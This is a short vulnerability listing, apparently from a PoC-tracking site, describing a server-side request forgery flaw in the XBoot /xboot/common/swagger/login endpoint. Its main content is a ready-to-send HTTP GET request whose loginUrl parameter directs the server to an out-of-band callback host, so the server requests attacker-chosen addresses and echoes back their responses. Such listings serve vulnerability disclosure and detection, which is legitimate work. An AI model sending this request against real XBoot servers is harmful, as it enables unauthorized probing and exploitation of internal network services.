BiuPoC

Xboot /xboot/common/swagger/login 服务器端请求伪造漏洞

2026-09-29 PoC Public

Description

XBoot是基于Spring Boot 2.x的一站式前后端分离快速开发平台。XBoot /xboot/common/swagger/login 接口存在服务器端请求伪造漏洞，攻击者可构造恶意请求使服务器向任意地址发起HTTP请求并回显响应，探测和利用目标内网服务。

PoC

GET /xboot/common/swagger/login?loginUrl=https://.oast.online&username=x&password=x HTTP/1.1
Host:

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Xboot /xboot/common/swagger/login Server-Side Request Forgery Vulnerability

References